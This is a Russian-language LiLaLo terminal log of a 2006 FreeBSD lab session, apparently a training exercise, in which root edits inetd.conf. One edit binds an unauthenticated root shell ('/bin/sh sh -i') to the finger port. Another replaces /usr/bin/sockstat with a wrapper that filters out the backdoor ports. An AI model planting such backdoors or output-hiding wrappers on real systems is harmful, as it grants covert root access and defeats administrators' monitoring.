Журнал лабораторных работ

Содержание

Журнал

Вторник (11/28/06)

/dev/ttyp8
10:39:06
#ps aux | grep inetd
root  33913  0.0  0.0  1352   892  ??  Ss    8:39AM   0:00.00 /usr/sbin/inetd -w
root  33920  0.0  0.0  1508  1020  p9  S+    8:39AM   0:00.00 grep inetd
10:39:10
#sockstat -4l
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
root     sendmail   451   4  tcp4   127.0.0.1:25          *:*
root     sshd       445   4  tcp4   *:22                  *:*
root     syslogd    319   6  udp4   *:514                 *:*
10:39:35
#vi /etc/inetd.conf
13c13
< #telnet	stream	tcp	nowait	root	/usr/libexec/telnetd	telnetd
---
> telnet	stream	tcp	nowait	root	/usr/libexec/telnetd	telnetd
10:39:57
#/etc/rc.d/inetd restart
Stopping inetd.
Starting inetd.
10:40:00
#sockstat -4l
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
root     inetd      33970 4  tcp4   *:23                  *:*
root     sendmail   451   4  tcp4   127.0.0.1:25          *:*
root     sshd       445   4  tcp4   *:22                  *:*
root     syslogd    319   6  udp4   *:514                 *:*
10:40:09
#strings `which inetd` | grep /etc
/etc/inetd.conf
10:43:03
#vi /etc/inetd.conf
14c14
< #telnet	stream	tcp6	nowait	root	/usr/libexec/telnetd	telnetd
---
> telnet	stream	tcp6	nowait	root	/usr/libexec/telnetd	telnetd
/dev/ttyv1
10:43:55
#strings `which sandmail` | grep /etc
^C
10:44:34
#strings `which sendmail` | grep /etc
/etc/mail/mailer.conf
10:44:39
#telnet 127.0.0.1
Trying 127.0.0.1...
Connected to localhost.unix.nt.
Escape character is '^]'.
Trying SRA secure login:
User (root): rootpass
Password:
[ SRA login failed ]
User (root): root
Password:
[ SRA login failed ]
User (root):
Password:
[ SRA login failed ]
User (root): ^C
/dev/ttyp8
10:46:16
#telnet 127.0.0.1
Trying 127.0.0.1...
Connected to localhost.unix.nt.
Escape character is '^]'.
Trying SRA secure login:
User (root): root
Password:
[ SRA login failed ]
User (root): root
Password:
[ SRA login failed ]
User (root): ^[[A^[[A^C
10:46:48
#/etc/rc.d/inetd restart
Stopping inetd.
Starting inetd.
/dev/ttyv1
10:46:53
#ldd `which sandmail` | grep wrap
usage: ldd [-a] [-v] [-f format] program ...
/dev/ttyp6
10:47:03
#screen
/dev/ttype
10:47:03
#screen -x
/dev/ttyv2
10:47:03
#screen -x
/dev/ttypc
10:47:03
#screen -x
/dev/ttyp9
10:47:16
#less /etc/inetd.conf
10:54:31
#ldd `which inetd` | grep wrap
        libwrap.so.4 => /usr/lib/libwrap.so.4 (0x28088000)
10:54:46
#vi /etc/inetd.conf
18a19
> finger	stream	tcp	nowait	root	/bin/cat 		cat
/dev/ttyv1
10:58:25
#ldd `which sendmail` | grep wrap

10:58:37
#ldd `which sshd` | grep wrap
        libwrap.so.4 => /usr/lib/libwrap.so.4 (0x280e8000)
10:59:08
#pkg_info samba
pkg_info: can't find package 'samba' installed or in a file!
11:05:17
#pkg_info -Dx samba
Information for samba-2.2.12:
Install notice:
=======================================================================
WARNING: In FreeBSD, it's known that compiling samba with any kind of
optimization flags might cause problems under certain circumstance.
If you caught any show stopper, please try taking optimization flag(s)
out of your CFLAGS and recompile/reinstall samba.
=======================================================================
Information for samba-libsmbclient-3.0.14a_2:
11:05:33
#pkg_info -Lx samba
/usr/local/share/swat/using_samba/ch02_06.html
/usr/local/share/swat/using_samba/ch03_01.html
/usr/local/share/swat/using_samba/ch03_02.html
/usr/local/share/swat/using_samba/ch03_03.html
/usr/local/share/swat/using_samba/ch04_01.html
/usr/local/share/swat/using_samba/ch04_02.html
/usr/local/share/swat/using_samba/ch04_03.html
/usr/local/share/swat/using_samba/ch04_04.html
/usr/local/share/swat/using_samba/ch04_05.html
/usr/local/share/swat/using_samba/ch04_06.html
...
/usr/local/include/libsmbclient.h
/usr/local/lib/libsmbclient.a
/usr/local/lib/libsmbclient.so
/usr/local/lib/libsmbclient.so.0
/usr/local/share/examples/samba-libsmbclient/Makefile
/usr/local/share/examples/samba-libsmbclient/README
/usr/local/share/examples/samba-libsmbclient/testacl.c
/usr/local/share/examples/samba-libsmbclient/testbrowse.c
/usr/local/share/examples/samba-libsmbclient/testsmbc.c
/usr/local/share/examples/samba-libsmbclient/tree.c
11:06:01
#pkg_info -W samba
pkg_info: samba: file is not in PATH
11:08:48
#pkg_info -x samba
Information for samba-2.2.12:
Comment:
A free SMB and CIFS client and server for UNIX
Description:
The Samba suite is a set of programs which run under the FreeBSD
operating system. These programs deliver most of the important
functionality of a Microsoft Lan Manager server. That is, they support
remote access to FreeBSD filespace and FreeBSD printers from Lan Manager
compatible clients. In practical terms, this means that such clients
can connect to and use FreeBSD filespace as if it was a local disk drive,
...
sound-juicer-2.10.1
totem-gstreamer-1.0.4
vino-2.10.0
ximian-connector-2.2.2
yelp-2.10.0_1
gnome2-2.10.2
Description:
This is the shared library from the Samba port. It lets other programs
to use the SMB protocol.
WWW: http://www.samba.org/
11:09:01
#strings `which samba` | grep /etc
^C
11:10:21
#strings `which samba` | grep /
^C
11:10:34
#strings `which samba` | grep /usr
^C
11:10:40
#pkg_info -Dx samba
Information for samba-2.2.12:
Install notice:
=======================================================================
WARNING: In FreeBSD, it's known that compiling samba with any kind of
optimization flags might cause problems under certain circumstance.
If you caught any show stopper, please try taking optimization flag(s)
out of your CFLAGS and recompile/reinstall samba.
=======================================================================
Information for samba-libsmbclient-3.0.14a_2:
11:10:45
#pkg_info -Lx samba
/usr/local/share/swat/using_samba/ch02_06.html
/usr/local/share/swat/using_samba/ch03_01.html
/usr/local/share/swat/using_samba/ch03_02.html
/usr/local/share/swat/using_samba/ch03_03.html
/usr/local/share/swat/using_samba/ch04_01.html
/usr/local/share/swat/using_samba/ch04_02.html
/usr/local/share/swat/using_samba/ch04_03.html
/usr/local/share/swat/using_samba/ch04_04.html
/usr/local/share/swat/using_samba/ch04_05.html
/usr/local/share/swat/using_samba/ch04_06.html
...
/usr/local/include/libsmbclient.h
/usr/local/lib/libsmbclient.a
/usr/local/lib/libsmbclient.so
/usr/local/lib/libsmbclient.so.0
/usr/local/share/examples/samba-libsmbclient/Makefile
/usr/local/share/examples/samba-libsmbclient/README
/usr/local/share/examples/samba-libsmbclient/testacl.c
/usr/local/share/examples/samba-libsmbclient/testbrowse.c
/usr/local/share/examples/samba-libsmbclient/testsmbc.c
/usr/local/share/examples/samba-libsmbclient/tree.c
11:10:53
#strings `which samba` | grep /usr/local/etc/
^C
11:11:38
#strings `which samba` | grep /usr/local/bin/
^C
11:12:49
#strings `which samba` | grep /usr/local/share/examples/
^C
11:13:08
#strings `which samba` | grep /usr/local/share/examples/samba
^C
11:14:11
#less /etc/rc.conf
11:15:32
#man pkg_dekete
11:17:03
#man pkg_delete
11:19:09
#cd /var/db/

11:19:35
#ls
entropy         locate.database pkg             portsnap
ipf             mountdtab       ports           scrollkeeper
11:19:36
#ls -G
entropy         locate.database pkg             portsnap
ipf             mountdtab       ports           scrollkeeper
11:19:42
#cd pkg/

11:19:46
#ls -G
libart_lgpl2-2.3.17
libaudiofile-0.2.6
libbonobo-2.10.0
libbonoboui-2.10.1
libcroco-0.6.0_1
libdts-0.0.2
libdvdcss-1.2.8_1
libdvdnav-0.1.9_1
libdvdread-0.9.4_1
libexif-0.6.12_1
...
xorg-printserver-6.8.2
xorg-server-6.8.2_6
xorg-vfbserver-6.8.2
xpdf-3.00_7
xscreensaver-gnome-4.22
xterm-203
xv-3.10a_5
xvid-1.0.3,1
yelp-2.10.0_1
zenity-2.10.0
11:19:53
#cd samba-2.2.12/

11:20:34
#ls
+COMMENT        +CONTENTS       +DESC           +DISPLAY        +MTREE_DIRS
11:20:36
#ls -G
+COMMENT    +CONTENTS   +DESC       +DISPLAY    +MTREE_DIRS
11:20:40
#man pkg_delete
11:23:30
#pkg_delete /var/db/pkg/samba-2.2.12/

11:24:06
#ls -G

11:24:24
#cd ..
bash: cd: ..: No such file or directory
11:24:33
#cd /var/db/pkg/

11:24:55
#ls -G
liba52-0.7.4_1
libart_lgpl2-2.3.17
libaudiofile-0.2.6
libbonobo-2.10.0
libbonoboui-2.10.1
libcroco-0.6.0_1
libdts-0.0.2
libdvdcss-1.2.8_1
libdvdnav-0.1.9_1
libdvdread-0.9.4_1
...
xorg-printserver-6.8.2
xorg-server-6.8.2_6
xorg-vfbserver-6.8.2
xpdf-3.00_7
xscreensaver-gnome-4.22
xterm-203
xv-3.10a_5
xvid-1.0.3,1
yelp-2.10.0_1
zenity-2.10.0
11:24:59
#pkg_info -Dx samba
Information for samba-libsmbclient-3.0.14a_2:
11:25:37
#pkg_info -Dx samba
Information for samba-3.0.14a_1,1:
Install notice:
Samba3 package now doesn't include ADS support due the portability problems
with Kerberos5 libraries on different installations. You need to compile port
yourself to get this functionality.
For additional hints and directions, please, look into the README.FreeBSD file.
Information for samba-libsmbclient-3.0.14a_2:
/dev/ttyv0
11:25:59
#sockstat -4
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
root     inetd      34084 4  tcp4   *:23                  *:*
root     sshd       26124 3  tcp4   192.168.15.23:22      192.168.15.25:60594
root     sshd       26060 3  tcp4   192.168.15.23:22      192.168.15.24:52430
root     sshd       25855 3  tcp4   192.168.15.23:22      192.168.15.254:41665
root     sendmail   451   4  tcp4   127.0.0.1:25          *:*
root     sshd       445   4  tcp4   *:22                  *:*
root     syslogd    319   6  udp4   *:514                 *:*
/dev/ttyv1
11:26:54
#pkg_info -Lx samba
/usr/local/share/swat/using_samba/figs/sam2_0320.gif
/usr/local/share/swat/using_samba/figs/sam2_0321.gif
/usr/local/share/swat/using_samba/figs/sam2_0322.gif
/usr/local/share/swat/using_samba/figs/sam2_0323.gif
/usr/local/share/swat/using_samba/figs/sam2_0324.gif
/usr/local/share/swat/using_samba/figs/sam2_0325.gif
/usr/local/share/swat/using_samba/figs/sam2_0326.gif
/usr/local/share/swat/using_samba/figs/sam2_0327.gif
/usr/local/share/swat/using_samba/figs/sam2_0328.gif
/usr/local/share/swat/using_samba/figs/sam2_0329.gif
...
/usr/local/include/libsmbclient.h
/usr/local/lib/libsmbclient.a
/usr/local/lib/libsmbclient.so
/usr/local/lib/libsmbclient.so.0
/usr/local/share/examples/samba-libsmbclient/Makefile
/usr/local/share/examples/samba-libsmbclient/README
/usr/local/share/examples/samba-libsmbclient/testacl.c
/usr/local/share/examples/samba-libsmbclient/testbrowse.c
/usr/local/share/examples/samba-libsmbclient/testsmbc.c
/usr/local/share/examples/samba-libsmbclient/tree.c
11:27:00
#/etc/rc.d/inetd stop
Stopping inetd.
/dev/ttyv0
11:27:42
#sockstat -4l
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
root     inetd      34084 4  tcp4   *:23                  *:*
root     sendmail   451   4  tcp4   127.0.0.1:25          *:*
root     sshd       445   4  tcp4   *:22                  *:*
root     syslogd    319   6  udp4   *:514                 *:*
11:27:51
#/usr/local/etc/rc.d/samba.sh
/usr/local/etc/rc.d/samba.sh: WARNING: /usr/local/etc/smb.conf is not readable.
11:29:29
#/usr/local/etc/rc.d/samba.sh start
/usr/local/etc/rc.d/samba.sh: WARNING: /usr/local/etc/smb.conf is not readable.
11:29:39
#ls -aGl /usr/local/etc/
total 584
drwxr-xr-x  10 root  wheel    1024 Nov 28 09:25 .
drwxr-xr-x  18 root  wheel     512 Nov 28 09:25 ..
-r--r--r--   1 root  wheel   87868 Nov 26 13:36 Muttrc
-r--r--r--   1 root  wheel   87868 Oct 12  2005 Muttrc.dist
-r--r--r--   1 root  wheel    2561 Oct 12  2005 a2ps-site.cfg
-r--r--r--   1 root  wheel   15202 Oct 12  2005 a2ps.cfg
drwxr-xr-x   2 root  wheel     512 Nov 26 13:43 bonobo-activation
-r--r--r--   1 root  wheel    1107 Nov 26 13:44 cdrecord
-r--r--r--   1 root  wheel    1107 Oct 12  2005 cdrecord.sample
...
-r--r--r--   1 root  wheel     766 Oct 12  2005 rsyncd.conf.sample
-rw-r--r--   1 root  wheel    3312 Nov 27 08:22 screenrc
-r--r--r--   1 root  wheel   10075 Nov 28 09:25 smb.conf.default
drwxr-xr-x   2 root  wheel     512 Nov 26 13:41 snmp
-r--r-----   1 root  wheel    4127 Oct 12  2005 sudoers
-r--r--r--   1 root  wheel    4127 Oct 12  2005 sudoers.sample
-r--r--r--   1 root  wheel    4022 Nov 26 16:15 wgetrc
drwxr-xr-x   3 root  wheel     512 Nov 26 13:38 xdg
-r--r--r--   1 root  wheel     340 Oct 12  2005 xml2Conf.sh
-r--r--r--   1 root  wheel     232 Oct 12  2005 xsltConf.sh
/dev/ttyp8
11:31:30
#screen -x
/dev/ttyp9
11:32:03
#/etc/rc.d/inetd restart
Stopping inetd.
Starting inetd.
11:32:09
#telnet 127.0.0.1 finger
Trying 127.0.0.1...
Connected to localhost.unix.nt.
Escape character is '^]'.
asdfsadfsadsadf
asdfsadfsadsadf
asdfsadfsadfsadfsafd
asdfsadfsadfsadfsafd
asdfsadfsadfsaf
asdfsadfsadfsaf
sdasad
sdasad
^]
telnet> q
Connection closed.
11:33:23
#vi /etc/inetd.conf
19c19,21
< finger	stream	tcp	nowait	root	/bin/cat 		cat
---
> 
> finger	stream	tcp	nowait	root	/bin/sh 		sh -i
> 
11:33:48
#/etc/rc.d/inetd restart
Stopping inetd.
Starting inetd.
11:33:49
#telnet 127.0.0.1 finger
Trying 127.0.0.1...
Connected to localhost.unix.nt.
Escape character is '^]'.
sh: can't access tty; job control turned off
\[v2#\!#$?#$UID#$$#$(/bin/date +%s)$(l3_save_last_line)#$PWD#\033[1024D\033[K\]\[\033[0;31m\][\u@fbsd3:PS1='$ '
id
: not found
id #
uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)
^]q
telnet> q
Connection closed.
11:34:11
#vi /etc/inetd.conf
20c20
< finger	stream	tcp	nowait	root	/bin/sh 		sh -i
---
> finger	stream	tcp	nowait	root	/bin/sh 		sh
11:34:17
#/etc/rc.d/inetd restart
Stopping inetd.
Starting inetd.
11:34:19
#telnet 127.0.0.1 finger
Trying 127.0.0.1...
Connected to localhost.unix.nt.
Escape character is '^]'.
id #
uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)
w #
 9:34AM  up  2:37, 10 users, load averages: 0.05, 0.02, 0.00
USER             TTY      FROM              LOGIN@  IDLE WHAT
root             v0       -                 7:13AM     3 script -t 0 -q /root/.
root             v1       -                 7:51AM     7 script -t 0 -q /root/.
...
user             v4       -                 7:14AM  2:21 script -t 0 -q /home/u
user             p2       :0.0              7:19AM  2:12 script -t 0 -q /home/u
root             p6       192.168.15.254    8:14AM     - script -t 0 -q /root/.
root             p8       192.168.15.26     9:31AM     4 script -t 0 -q /root/.
root             p9       :ttyp7:S.0        8:47AM     - script -t 0 -q /root/.
root             pc       fbsd4.linux.nt    8:16AM    38 script -t 0 -q /root/.
root             pe       fbsd5.linux.nt    8:17AM    41 script -t 0 -q /root/.
^]
telnet> q
Connection closed.
11:36:49
#sockstat -4l
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
root     inetd      37942 4  tcp4   *:23                  *:*
root     inetd      37942 6  tcp4   *:79                  *:*
root     sendmail   451   4  tcp4   127.0.0.1:25          *:*
root     sshd       445   4  tcp4   *:22                  *:*
root     syslogd    319   6  udp4   *:514                 *:*
11:36:52
#grep 79 /etc/services
finger           79/tcp
finger           79/udp
bgp             179/tcp    #Border Gateway Protocol
bgp             179/udp    #Border Gateway Protocol
#               265-279    unassigned
is99c           379/tcp    #TIA/EIA/IS-99 modem client
is99c           379/udp    #TIA/EIA/IS-99 modem client
iafserver       479/tcp
iafserver       479/udp
decbsrv         579/tcp
decbsrv         579/udp
dbreporter      1379/tcp   #Integrity Solutions
dbreporter      1379/udp   #Integrity Solutions
dberegister     1479/tcp
dberegister     1479/udp
11:37:03
#grep finger /etc/inetd.conf
finger  stream  tcp     nowait  root    /bin/sh                 sh
#finger stream  tcp     nowait/3/10 nobody /usr/libexec/fingerd fingerd -s
#finger stream  tcp6    nowait/3/10 nobody /usr/libexec/fingerd fingerd -s
11:37:12
#last
root             ttyp8    192.168.15.26    Tue Nov 28 09:31   still logged in
root             ttyp8    192.168.15.26    Tue Nov 28 08:48 - 08:58  (00:10)
user             ttypa    fbsd4.linux.nt   Tue Nov 28 08:47 - 08:47  (00:00)
root             ttypg    192.168.15.26    Tue Nov 28 08:21 - 08:47  (00:25)
root             ttype    fbsd5.linux.nt   Tue Nov 28 08:17   still logged in
root             ttypc    fbsd4.linux.nt   Tue Nov 28 08:16   still logged in
root             ttyp6    192.168.15.254   Tue Nov 28 08:14   still logged in
root             ttyv2                     Tue Nov 28 08:12   still logged in
root             ttyv1                     Tue Nov 28 07:51   still logged in
user             ttyp2    :0.0             Tue Nov 28 07:19   still logged in
...
root             ttyp0    192.168.15.254   Sun Nov 26 16:13 - 16:14  (00:00)
root             ttyp0    192.168.15.254   Sun Nov 26 16:12 - 16:12  (00:00)
root             ttyp0    192.168.15.254   Sun Nov 26 16:07 - 16:12  (00:04)
root             ttyp0    192.168.15.254   Sun Nov 26 16:06 - 16:06  (00:00)
user             ttyv1                     Sun Nov 26 14:31 - shutdown  (02:20)
user             ttyv0                     Sun Nov 26 13:56 - shutdown  (02:56)
root             ttyv0                     Sun Nov 26 13:55 - 13:56  (00:01)
root             ttyv0                     Sun Nov 26 13:54 - 13:54  (00:00)
reboot           ~                         Sun Nov 26 13:53
wtmp begins Sun Nov 26 13:53:20 UTC 2006
11:38:13
#netstat -4l
netstat: illegal option -- 4
usage: netstat [-AaLnSW] [-f protocol_family | -p protocol]
               [-M core] [-N system]
       netstat -i | -I interface [-abdhnt] [-f address_family]
               [-M core] [-N system]
       netstat -w wait [-I interface] [-d] [-M core] [-N system]
       netstat -s [-s] [-z] [-f protocol_family | -p protocol] [-M core]
       netstat -i | -I interface -s [-f protocol_family | -p protocol]
               [-M core] [-N system]
       netstat -m [-M core] [-N system]
       netstat -r [-AenW] [-f address_family] [-M core] [-N system]
       netstat -rs [-s] [-M core] [-N system]
       netstat -g [-W] [-f address_family] [-M core] [-N system]
       netstat -gs [-s] [-f address_family] [-M core] [-N system]
11:38:26
#sockstat -4l
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
root     inetd      37942 4  tcp4   *:23                  *:*
root     inetd      37942 6  tcp4   *:79                  *:*
root     sendmail   451   4  tcp4   127.0.0.1:25          *:*
root     sshd       445   4  tcp4   *:22                  *:*
root     syslogd    319   6  udp4   *:514                 *:*
11:38:31
#which bc
/usr/bin/bc
11:39:31
#vi /etc/inetd.conf
20c20
< finger	stream	tcp	nowait	root	/bin/sh 		sh
---
> finger	stream	tcp	nowait	root	/usr/bin/bc		bc
11:39:47
#/etc/rc.d/inetd restart
Stopping inetd.
Starting inetd.
11:39:51
#telnet 127.0.0.1 finger
Trying 127.0.0.1...
Connected to localhost.unix.nt.
Escape character is '^]'.
1+2+3*23424234243
(standard_in) 1: illegal character: ^M
1+2143234243*2342243234 #
5019975904543861863
^]
telnet> q
Connection closed.
11:40:26
#sockstat -4l
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
root     inetd      38047 4  tcp4   *:23                  *:*
root     inetd      38047 6  tcp4   *:79                  *:*
root     sendmail   451   4  tcp4   127.0.0.1:25          *:*
root     sshd       445   4  tcp4   *:22                  *:*
root     syslogd    319   6  udp4   *:514                 *:*
11:40:31
#which sockstat
/usr/bin/sockstat
11:43:07
#cp `!!` `!!`.orig
cp `which sockstat ` `which sockstat `.orig
11:43:15
#vi /usr/bin/sockstat
11:43:25
#rm /usr/bin/sockstat

11:43:26
#vi /usr/bin/sockstat
11:44:18
#chmod +x /usr/bin/sockstat

11:44:21
#sockstat -4l
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
root     inetd      38047 4  tcp4   *:23                  *:*
root     sendmail   451   4  tcp4   127.0.0.1:25          *:*
root     sshd       445   4  tcp4   *:22                  *:*
root     syslogd    319   6  udp4   *:514                 *:*
11:44:25
#sockstat -4
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
root     inetd      38047 4  tcp4   *:23                  *:*
root     sshd       37745 3  tcp4   192.168.15.23:22      192.168.15.26:64310
root     sshd       26124 3  tcp4   192.168.15.23:22      192.168.15.25:60594
root     sshd       26060 3  tcp4   192.168.15.23:22      192.168.15.24:52430
root     sshd       25855 3  tcp4   192.168.15.23:22      192.168.15.254:41665
root     sendmail   451   4  tcp4   127.0.0.1:25          *:*
root     sshd       445   4  tcp4   *:22                  *:*
root     syslogd    319   6  udp4   *:514                 *:*
11:44:36
#sockstat
user     clock-appl 817   32 stream /var/tmp/orbit-user/linc-331-0-68d238b3b6419
user     clock-appl 817   33 stream -> /var/tmp/orbit-user/linc-2f7-0-60e316bad374
user     clock-appl 817   34 stream -> /var/tmp/orbit-user/linc-329-0-68d2b7c36ed5b
user     gnome-vfs- 813   15 stream /tmp/.ICE-unix/752
user     gnome-vfs- 813   27 stream -> /var/tmp/orbit-user/linc-2f2-0-77853aee60af8
user     gnome-vfs- 813   28 stream /var/tmp/orbit-user/linc-32d-0-163a3062be274
user     gnome-vfs- 813   30 stream /var/tmp/orbit-user/linc-32d-0-163a3062be274
user     gnome-vfs- 813   31 stream /var/tmp/orbit-user/linc-32d-0-163a3062be274
user     gnome-vfs- 813   32 stream -> /var/tmp/orbit-user/linc-2f7-0-60e316bad374
user     gnome-vfs- 813   36 stream /var/tmp/orbit-user/linc-32d-0-163a3062be274
...
smmsp    sendmail   455   3  dgram  -> /var/run/log
root     sendmail   451   3  dgram  -> /var/run/logpriv
root     sendmail   451   4  tcp4   127.0.0.1:25          *:*
root     sshd       445   3  tcp6   *:22                  *:*
root     sshd       445   4  tcp4   *:22                  *:*
root     syslogd    319   3  dgram  /var/run/log
root     syslogd    319   4  dgram  /var/run/logpriv
root     syslogd    319   5  udp6   *:514                 *:*
root     syslogd    319   6  udp4   *:514                 *:*
root     devd       290   4  stream /var/run/devd.pipe
11:44:39
#sockstat -4l
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
root     inetd      38047 4  tcp4   *:23                  *:*
root     sendmail   451   4  tcp4   127.0.0.1:25          *:*
root     sshd       445   4  tcp4   *:22                  *:*
root     syslogd    319   6  udp4   *:514                 *:*
11:44:43
#telnet 127.0.0.1 79
Trying 127.0.0.1...
Connected to localhost.unix.nt.
Escape character is '^]'.
1+2 #
3
^]
telnet> q
Connection closed.
11:44:57
#nmap 127.0.0.1
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-11-28 09:45 UTC
Interesting ports on localhost.unix.nt (127.0.0.1):
(The 1659 ports scanned but not shown below are in state: closed)
PORT   STATE SERVICE
22/tcp open  ssh
23/tcp open  telnet
25/tcp open  smtp
79/tcp open  finger
Nmap finished: 1 IP address (1 host up) scanned in 10.352 seconds
11:45:30
#vi /etc/services
2112a2113
> finger21	30021/tcp
2114a2116,2118
> 
> 
> 
11:46:08
#vi /etc/inetd.conf
20c20
< finger	stream	tcp	nowait	root	/usr/bin/bc		bc
---
> finger21	stream	tcp	nowait	root	/usr/bin/bc		bc
11:46:21
#/etc/rc.d/inetd restart
Stopping inetd.
Starting inetd.
11:46:31
#telnet 127.0.0.1 30021
Trying 127.0.0.1...
Connected to localhost.unix.nt.
Escape character is '^]'.
^]
telnet> q
Connection closed.
11:46:39
#vi /usr/bin/sockstat
3c3
< /usr/bin/sockstat.orig "$@" | egrep  -v ':(79|finger)'
---
> /usr/bin/sockstat.orig "$@" | egrep  -v ':(30021|finger21)'
11:46:54
#sockstat -4l
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
root     inetd      38232 4  tcp4   *:23                  *:*
root     sendmail   451   4  tcp4   127.0.0.1:25          *:*
root     sshd       445   4  tcp4   *:22                  *:*
root     syslogd    319   6  udp4   *:514                 *:*
11:47:14
#which /usr/libexec/tcpd
/usr/libexec/tcpd

Статистика

Время первой команды журнала10:39:06 2006-11-28
Время последней команды журнала11:47:14 2006-11-28
Количество командных строк в журнале101
Процент команд с ненулевым кодом завершения, %12.87
Процент синтаксически неверно набранных команд, % 0.00
Суммарное время работы с терминалом *, час 1.14
Количество командных строк в единицу времени, команда/мин 1.48
Частота использования команд
grep17|==============| 14.66%
sockstat12|==========| 10.34%
vi11|=========| 9.48%
strings10|========| 8.62%
pkg_info10|========| 8.62%
telnet8|======| 6.90%
/etc/rc.d/inetd8|======| 6.90%
ls8|======| 6.90%
screen5|====| 4.31%
cd5|====| 4.31%
ldd4|===| 3.45%
man3|==| 2.59%
which3|==| 2.59%
/usr/local/etc/rc.d/samba.sh2|=| 1.72%
less2|=| 1.72%
ps1|| 0.86%
chmod1|| 0.86%
cp1|| 0.86%
last1|| 0.86%
rm1|| 0.86%
nmap1|| 0.86%
netstat1|| 0.86%
pkg_delete1|| 0.86%
____
*) Интервалы неактивности длительностью 30 минут и более не учитываются

Справка

Для того чтобы использовать LiLaLo, не нужно знать ничего особенного: всё происходит само собой. Однако, чтобы ведение и последующее использование журналов было как можно более эффективным, желательно иметь в виду следующее:
  1. В журнал автоматически попадают все команды, данные в любом терминале системы.

  2. Для того чтобы убедиться, что журнал на текущем терминале ведётся, и команды записываются, дайте команду w. В поле WHAT, соответствующем текущему терминалу, должна быть указана программа script.

  3. Команды, при наборе которых были допущены синтаксические ошибки, выводятся перечёркнутым текстом:
    $ l s-l
    bash: l: command not found
    

  4. Если код завершения команды равен нулю, команда была выполнена без ошибок. Команды, код завершения которых отличен от нуля, выделяются цветом.
    $ test 5 -lt 4
    Обратите внимание на то, что код завершения команды может быть отличен от нуля не только в тех случаях, когда команда была выполнена с ошибкой. Многие команды используют код завершения, например, для того чтобы показать результаты проверки

  5. Команды, ход выполнения которых был прерван пользователем, выделяются цветом.
    $ find / -name abc
    find: /home/devi-orig/.gnome2: Keine Berechtigung
    find: /home/devi-orig/.gnome2_private: Keine Berechtigung
    find: /home/devi-orig/.nautilus/metafiles: Keine Berechtigung
    find: /home/devi-orig/.metacity: Keine Berechtigung
    find: /home/devi-orig/.inkscape: Keine Berechtigung
    ^C
    

  6. Команды, выполненные с привилегиями суперпользователя, выделяются слева красной чертой.
    # id
    uid=0(root) gid=0(root) Gruppen=0(root)
    

  7. Изменения, внесённые в текстовый файл с помощью редактора, запоминаются и показываются в журнале в формате ed. Строки, начинающиеся символом "<", удалены, а строки, начинающиеся символом ">" -- добавлены.
    $ vi ~/.bashrc
    2a3,5
    >    if [ -f /usr/local/etc/bash_completion ]; then
    >         . /usr/local/etc/bash_completion
    >        fi
    

  8. Для того чтобы изменить файл в соответствии с показанными в диффшоте изменениями, можно воспользоваться командой patch. Нужно скопировать изменения, запустить программу patch, указав в качестве её аргумента файл, к которому применяются изменения, и всавить скопированный текст:
    $ patch ~/.bashrc
    В данном случае изменения применяются к файлу ~/.bashrc

  9. Для того чтобы получить краткую справочную информацию о команде, нужно подвести к ней мышь. Во всплывающей подсказке появится краткое описание команды.

    Если справочная информация о команде есть, команда выделяется голубым фоном, например: vi. Если справочная информация отсутствует, команда выделяется розовым фоном, например: notepad.exe. Справочная информация может отсутствовать в том случае, если (1) команда введена неверно; (2) если распознавание команды LiLaLo выполнено неверно; (3) если информация о команде неизвестна LiLaLo. Последнее возможно для редких команд.

  10. Большие, в особенности многострочные, всплывающие подсказки лучше всего показываются браузерами KDE Konqueror, Apple Safari и Microsoft Internet Explorer. В браузерах Mozilla и Firefox они отображаются не полностью, а вместо перевода строки выводится специальный символ.

  11. Время ввода команды, показанное в журнале, соответствует времени начала ввода командной строки, которое равно тому моменту, когда на терминале появилось приглашение интерпретатора

  12. Имя терминала, на котором была введена команда, показано в специальном блоке. Этот блок показывается только в том случае, если терминал текущей команды отличается от терминала предыдущей.

  13. Вывод не интересующих вас в настоящий момент элементов журнала, таких как время, имя терминала и других, можно отключить. Для этого нужно воспользоваться формой управления журналом вверху страницы.

  14. Небольшие комментарии к командам можно вставлять прямо из командной строки. Комментарий вводится прямо в командную строку, после символов #^ или #v. Символы ^ и v показывают направление выбора команды, к которой относится комментарий: ^ - к предыдущей, v - к следующей. Например, если в командной строке было введено:

    $ whoami
    
    user
    
    $ #^ Интересно, кто я?
    
    в журнале это будет выглядеть так:
    $ whoami
    
    user
    
    Интересно, кто я?

  15. Если комментарий содержит несколько строк, его можно вставить в журнал следующим образом:

    $ whoami
    
    user
    
    $ cat > /dev/null #^ Интересно, кто я?
    
    Программа whoami выводит имя пользователя, под которым 
    мы зарегистрировались в системе.
    -
    Она не может ответить на вопрос о нашем назначении 
    в этом мире.
    
    В журнале это будет выглядеть так:
    $ whoami
    user
    
    Интересно, кто я?
    Программа whoami выводит имя пользователя, под которым
    мы зарегистрировались в системе.

    Она не может ответить на вопрос о нашем назначении
    в этом мире.
    Для разделения нескольких абзацев между собой используйте символ "-", один в строке.

  16. Комментарии, не относящиеся непосредственно ни к какой из команд, добавляются точно таким же способом, только вместо симолов #^ или #v нужно использовать символы #=

  17. Содержимое файла может быть показано в журнале. Для этого его нужно вывести с помощью программы cat. Если вывод команды отметить симоволами #!, содержимое файла будет показано в журнале в специально отведённой для этого секции.
  18. Для того чтобы вставить скриншот интересующего вас окна в журнал, нужно воспользоваться командой l3shot. После того как команда вызвана, нужно с помощью мыши выбрать окно, которое должно быть в журнале.
